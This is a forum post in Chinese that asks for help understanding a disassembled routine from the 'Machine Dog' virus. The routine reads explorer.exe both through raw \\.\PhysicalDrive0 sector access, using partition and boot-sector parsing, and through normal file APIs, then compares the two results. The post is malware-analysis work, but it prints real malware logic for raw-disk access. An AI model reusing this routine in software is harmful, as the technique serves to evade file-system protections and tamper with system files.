最近分析机器狗病毒,对其中一处病毒的代码不清楚是什么作用,请高手指点。
这个段代码主要是关于explorer.exe的操作,病毒先从找到物理硬盘上explorer.exe的位置,然后直接从物理硬盘上读取explorer.exe的前512bytes,然后再调用CreateFile,ReadFile读入explorer.exe的512bytes,比较这两种方法得到的数据有什么不同,请高手指点一下这样做的目的,是想检测某种监测技术么????
代码如下
:00401826 push ebp
.text:00401827 mov ebp, esp
.text:00401829 add esp, 0FFFFFE80h
.text:0040182F push esi
.text:00401830 push edi
.text:00401831 push ebx
.text:00401832 xor ebx, ebx
.text:00401834 push 0 ; hTemplateFile
.text:00401836 push 20000000h ; dwFlagsAndAttributes
.text:0040183B push 3 ; dwCreationDisposition
.text:0040183D push 0 ; lpSecurityAttributes
.text:0040183F push 3 ; dwShareMode
.text:00401841 push 80000000h ; dwDesiredAccess
.text:00401846 push [ebp+lpFileName] ; lpFileName
.text:00401849 call CreateFileA
.text:0040184E cmp eax, 0FFFFFFFFh
.text:00401851 jnz short loc_40185C
.text:00401853 xor eax, eax
.text:00401855 pop ebx
.text:00401856 pop edi
.text:00401857 pop esi
.text:00401858 leave
.text:00401859 retn 4
.text:0040185C ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0040185C
.text:0040185C loc_40185C: ; CODE XREF: modify_exeplore+2Bj
.text:0040185C mov esi, eax
.text:0040185E mov [ebp+hObject], esi
.text:00401864 lea eax, [ebp+NumberOfBytesWritten]
.text:0040186A push eax ; lpFileSizeHigh
.text:0040186B push esi ; hFile
.text:0040186C call GetFileSize
.text:00401871 mov [ebp+NumberOfBytesWritten], eax
.text:00401877 jmp loc_4018FD
.text:00401877 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0040187C ; .text:0040187C
.text:004018FD ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:004018FD
.text:004018FD loc_4018FD: ; CODE XREF: modify_exeplore+51j
.text:004018FD push 512 ; dwBytes
.text:00401902 push 40h ; uFlags
.text:00401904 call GlobalAlloc
.text:00401909 or eax, eax
.text:0040190B jnz short loc_401916
.text:0040190D xor eax, eax
.text:0040190F pop ebx
.text:00401910 pop edi
.text:00401911 pop esi
.text:00401912 leave
.text:00401913 retn 4
.text:00401916 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401916
.text:00401916 loc_401916: ; CODE XREF: modify_exeplore+E5j
.text:00401916 mov [ebp+lpBuffer], eax
.text:0040191C push 8
.text:0040191E lea eax, [ebp+InBuffer]
.text:00401921 push eax
.text:00401922 call RtlZeroMemory
.text:00401927 push 110h
.text:0040192C lea eax, [ebp+OutBuffer]
.text:00401932 push eax
.text:00401933 call RtlZeroMemory
.text:00401938 push 0 ; lpOverlapped
.text:0040193A lea eax, [ebp+NumberOfBytesRead]
.text:00401940 push eax ; lpBytesReturned
.text:00401941 push 110h ; nOutBufferSize
.text:00401946 lea eax, [ebp+OutBuffer]
.text:0040194C push eax ; lpOutBuffer
.text:0040194D push 8 ; nInBufferSize
.text:0040194F lea eax, [ebp+InBuffer]
.text:00401952 push eax ; lpInBuffer
.text:00401953 push FSCTL_GET_RETRIEVAL_POINTERS ; dwIoControlCode
.text:00401958 push esi ; hDevice
.text:00401959 call DeviceIoControl
.text:0040195E lea eax, [ebp+OutBuffer]
.text:00401964 mov edi, [eax]
.text:00401966 mov edx, [eax+RETRIEVAL_POINTERS_BUFFER.Extents.Lcn.u.HighPart]
.text:00401969 mov [ebp+lDistanceToMove], edx
.text:0040196F mov ecx, [eax+RETRIEVAL_POINTERS_BUFFER.Extents.Lcn.u.LowPart]
.text:00401972 mov [ebp+DistanceToMoveHigh], ecx
.text:00401978 or edi, edi
.text:0040197A jz short loc_401981
.text:0040197C cmp ecx, 0FFFFFFFFh
.text:0040197F jnz short loc_40198A
.text:00401981
.text:00401981 loc_401981: ; CODE XREF: modify_exeplore+154j
.text:00401981 xor eax, eax
.text:00401983 pop ebx
.text:00401984 pop edi
.text:00401985 pop esi
.text:00401986 leave
.text:00401987 retn 4
.text:0040198A ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:0040198A
.text:0040198A loc_40198A: ; CODE XREF: modify_exeplore+159j
.text:0040198A mov dword ptr [ebp+FileName], '\.\\'
.text:00401994 mov [ebp+var_17C], 'syhP'
.text:0040199E jmp loc_401A24
.text:0040199E ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:004019A3 ; .text:004019A3
.text:00401A24 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401A24
.text:00401A24 loc_401A24: ; CODE XREF: modify_exeplore+178j
.text:00401A24 mov [ebp+var_178], 'laci'
.text:00401A2E mov [ebp+var_174], 'virD'
.text:00401A38 mov [ebp+var_170], '0e'
.text:00401A42 lea eax, [ebp+FileName]
.text:00401A48 push 0 ; hTemplateFile
.text:00401A4A push 0 ; dwFlagsAndAttributes
.text:00401A4C push 3 ; dwCreationDisposition
.text:00401A4E push 0 ; lpSecurityAttributes
.text:00401A50 push 3 ; dwShareMode
.text:00401A52 push 0C0000000h ; dwDesiredAccess
.text:00401A57 push eax ; lpFileName
.text:00401A58 call CreateFileA
.text:00401A5D cmp eax, 0FFFFFFFFh
.text:00401A60 jnz short loc_401A6B
.text:00401A62 xor eax, eax
.text:00401A64 pop ebx
.text:00401A65 pop edi
.text:00401A66 pop esi
.text:00401A67 leave
.text:00401A68 retn 4
.text:00401A6B ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401A6B
.text:00401A6B loc_401A6B: ; CODE XREF: modify_exeplore+23Aj
.text:00401A6B mov [ebp+hFile], eax
.text:00401A71 push 0 ; dwMoveMethod
.text:00401A73 push 0 ; lpDistanceToMoveHigh
.text:00401A75 push 0 ; lDistanceToMove
.text:00401A77 push [ebp+hFile] ; hFile
.text:00401A7D call SetFilePointer
.text:00401A82 push 0 ; lpOverlapped
.text:00401A84 lea eax, [ebp+NumberOfBytesRead]
.text:00401A8A push eax ; lpNumberOfBytesRead
.text:00401A8B push 200h ; nNumberOfBytesToRead
.text:00401A90 push [ebp+lpBuffer] ; lpBuffer
.text:00401A96 push [ebp+hFile] ; hFile
.text:00401A9C call ReadFile
.text:00401AA1 mov eax, [ebp+lpBuffer]
.text:00401AA7 mov cl, [eax+1C2h] ; Partition type
.text:00401AAD mov [ebp+Partition_type], cl
.text:00401AB3 cmp cl, 0Bh ; FAT32
.text:00401AB6 jz short loc_401ACB ; Logical block address of the first sector in the partition
.text:00401AB8 cmp cl, 0Ch ; FAT32
.text:00401ABB jz short loc_401ACB ; Logical block address of the first sector in the partition
.text:00401ABD cmp cl, 7 ; NTFS
.text:00401AC0 jz short loc_401ACB ; Logical block address of the first sector in the partition
.text:00401AC2 xor eax, eax
.text:00401AC4 pop ebx
.text:00401AC5 pop edi
.text:00401AC6 pop esi
.text:00401AC7 leave
.text:00401AC8 retn 4
.text:00401ACB ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401ACB
.text:00401ACB loc_401ACB: ; CODE XREF: modify_exeplore+290j
.text:00401ACB ; modify_exeplore+295j
.text:00401ACB ; modify_exeplore+29Aj
.text:00401ACB mov ebx, [eax+1C6h] ; Logical block address of the first sector in the partition
.text:00401AD1 mov edx, 200h
.text:00401AD6 imul edx, ebx ; edx = 7e00
.text:00401AD9 push edx
.text:00401ADA push 0 ; dwMoveMethod
.text:00401ADC push 0 ; lpDistanceToMoveHigh
.text:00401ADE push edx ; lDistanceToMove
.text:00401ADF push [ebp+hFile] ; hFile
.text:00401AE5 call SetFilePointer
.text:00401AEA push 0 ; lpOverlapped
.text:00401AEC lea eax, [ebp+NumberOfBytesRead]
.text:00401AF2 push eax ; lpNumberOfBytesRead
.text:00401AF3 push 512 ; nNumberOfBytesToRead
.text:00401AF8 push [ebp+lpBuffer] ; lpBuffer
.text:00401AFE push [ebp+hFile] ; hFile
.text:00401B04 call ReadFile
.text:00401B09 mov eax, [ebp+lpBuffer]
.text:00401B0F xor edx, edx
.text:00401B11 mov cl, [ebp+Partition_type]
.text:00401B17 cmp cl, 0Bh
.text:00401B1A jz short loc_401B21
.text:00401B1C cmp cl, 0Ch
.text:00401B1F jnz short loc_401B2A
.text:00401B21
.text:00401B21 loc_401B21: ; CODE XREF: modify_exeplore+2F4j
.text:00401B21 mov dl, [eax+10h]
.text:00401B24 mov ecx, [eax+24h]
.text:00401B27 imul edx, ecx
.text:00401B2A
.text:00401B2A loc_401B2A: ; CODE XREF: modify_exeplore+2F9j
.text:00401B2A xor ecx, ecx
.text:00401B2C xor ebx, ebx
.text:00401B2E mov cx, [eax+0Bh] ; Sector Size
.text:00401B32 mov bl, [eax+0Dh] ; Sectors per Cluster
.text:00401B35 imul ecx, ebx
.text:00401B38 xor eax, eax
.text:00401B3A mov eax, [ebp+DistanceToMoveHigh]
.text:00401B40 jmp loc_401BC6
.text:00401B40 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401B45 ; .text:00401B45
.text:00401BC6 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401BC6
.text:00401BC6 loc_401BC6: ; CODE XREF: modify_exeplore+31Aj
.text:00401BC6 or eax, eax
.text:00401BC8 jnz short loc_401BE0
.text:00401BCA mov eax, [ebp+lDistanceToMove]
.text:00401BD0 mul ecx
.text:00401BD2 mov [ebp+lDistanceToMove], eax
.text:00401BD8 mov [ebp+DistanceToMoveHigh], edx
.text:00401BDE jmp short loc_401BFC
.text:00401BE0 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401BE0
.text:00401BE0 loc_401BE0: ; CODE XREF: modify_exeplore+3A2j
.text:00401BE0 mov eax, [ebp+lDistanceToMove]
.text:00401BE6 mul ecx
.text:00401BE8 mov [ebp+lDistanceToMove], eax
.text:00401BEE mov ebx, [ebp+DistanceToMoveHigh]
.text:00401BF4 add ebx, edx
.text:00401BF6 mov [ebp+DistanceToMoveHigh], ebx
.text:00401BFC
.text:00401BFC loc_401BFC: ; CODE XREF: modify_exeplore+3B8j
.text:00401BFC mov [ebp+size_per_cluster], ecx
.text:00401C02 pop edx
.text:00401C03 mov eax, [ebp+lDistanceToMove]
.text:00401C09 add edx, eax
.text:00401C0B mov [ebp+lDistanceToMove], edx
.text:00401C11 mov eax, [ebp+NumberOfBytesWritten]
.text:00401C17 mov ecx, [ebp+size_per_cluster]
.text:00401C1D xor edx, edx
.text:00401C1F div ecx
.text:00401C21 mov ecx, [ebp+size_per_cluster]
.text:00401C27 mul ecx
.text:00401C29 mov [ebp+nNumberOfBytesToWrite], eax
.text:00401C2F push eax ; dwBytes
.text:00401C30 push 40h ; uFlags
.text:00401C32 call GlobalAlloc
.text:00401C37 or eax, eax
.text:00401C39 jnz short loc_401C44
.text:00401C3B xor eax, eax
.text:00401C3D pop ebx
.text:00401C3E pop edi
.text:00401C3F pop esi
.text:00401C40 leave
.text:00401C41 retn 4
.text:00401C44 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401C44
.text:00401C44 loc_401C44: ; CODE XREF: modify_exeplore+413j
.text:00401C44 mov [ebp+alloc], eax
.text:00401C4A push 0 ; lpOverlapped
.text:00401C4C lea eax, [ebp+NumberOfBytesWritten]
.text:00401C52 push eax ; lpNumberOfBytesRead
.text:00401C53 push [ebp+NumberOfBytesWritten] ; nNumberOfBytesToRead
.text:00401C59 push [ebp+alloc] ; lpBuffer
.text:00401C5F push [ebp+hObject] ; hFile
.text:00401C65 call ReadFile
.text:00401C6A push 0 ; dwMoveMethod
.text:00401C6C lea eax, [ebp+DistanceToMoveHigh]
.text:00401C72 push eax ; lpDistanceToMoveHigh
.text:00401C73 push [ebp+lDistanceToMove] ; lDistanceToMove
.text:00401C79 push [ebp+hFile] ; hFile
.text:00401C7F call SetFilePointer
.text:00401C84 jmp loc_401D0A
.text:00401C84 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401C89 ; .text:00401C89
.text:00401D0A ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:00401D0A
.text:00401D0A loc_401D0A: ; CODE XREF: modify_exeplore+45Ej
.text:00401D0A push 200h
.text:00401D0F push [ebp+lpBuffer]
.text:00401D15 call RtlZeroMemory
.text:00401D1A push 0 ; lpOverlapped
.text:00401D1C lea eax, [ebp+NumberOfBytesRead]
.text:00401D22 push eax ; lpNumberOfBytesRead
.text:00401D23 push 200h ; nNumberOfBytesToRead
.text:00401D28 push [ebp+lpBuffer] ; lpBuffer
.text:00401D2E push [ebp+hFile] ; hFile
.text:00401D34 call ReadFile
.text:00401D39 push [ebp+hObject] ; hObject
.text:00401D3F call CloseHandle
.text:00401D44 mov esi, [ebp+alloc]
.text:00401D4A mov edi, [ebp+lpBuffer]
.text:00401D50 mov ecx, 200h
.text:00401D55 cmpsd
.text:00401D56 jz short loc_401D61
.text:00401D58 xor eax, eax
.text:00401D5A pop ebx
.text:00401D5B pop edi
.text:00401D5C pop esi
.text:00401D5D leave
.text:00401D5E retn 4
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)